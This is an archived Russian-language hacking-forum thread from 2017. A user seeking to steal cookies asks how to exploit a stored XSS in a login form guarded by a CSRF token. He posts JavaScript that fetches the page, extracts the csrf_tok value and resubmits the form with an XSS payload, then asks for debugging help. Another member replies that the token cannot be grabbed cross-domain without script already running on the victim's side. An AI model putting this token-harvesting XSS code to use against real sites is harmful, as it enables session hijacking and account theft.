Просмотр полной версии : Пасивка в форме с csrf токеном
sergei_petrovish
10.04.2017, 21:19
Как заюзать данную брешь ? форма с iframe не пройдет поскольку токен не пустит. Парсить токен ? Подскажите решение
sergei_petrovish
13.04.2017, 23:48
Вот форма уязвимая к XSS . В ней есть токен csrf_tok
HTML:
document.getElementsByTagName('form')[0].submit();
Для того что бы стырить куки, надо отправить эту форму с правильным токеном. Значит сперва его нужно выдернуть и вставить в свою форму.
Создаю js который вставляю в уязвимое к XSS поле
HTML:
function request(url, type, callback, send){
var oReq = new XMLHttpRequest();
oReq.open(type, url, true);
oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
oReq.onload = callback;
oReq.send(send);
};
function getListener () {
var el = document.createElement('div');
el.innerHTML = this.responseText;
request('login', 'POST', postListener, 'csrf_tok=' + el.querySelector('input[name="csrf_tok"]').value + '&Login=alert(xss)'+ '&Pass=12345678');
};
function postListener(){
console.log(this.responseText)
};
request('login', 'GET', getListener);
Подскажите где ошибка.
binarymaster
24.04.2017, 14:54
sergei_petrovish said:
↑ (https://antichat.live/posts/4072046/)
Для того что бы стырить куки, надо отправить эту форму с правильным токеном. Значит сперва его нужно выдернуть и вставить в свою форму.
Если XSS работает только при указании правильного токена, вам нужно получить токен. Но получить его без выполнения JS на стороне жертвы не удастся. Взаимоисключение получается.
А спарсить токен со своего домена не получится, ибо кросс-доменная политика запросов не даст.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot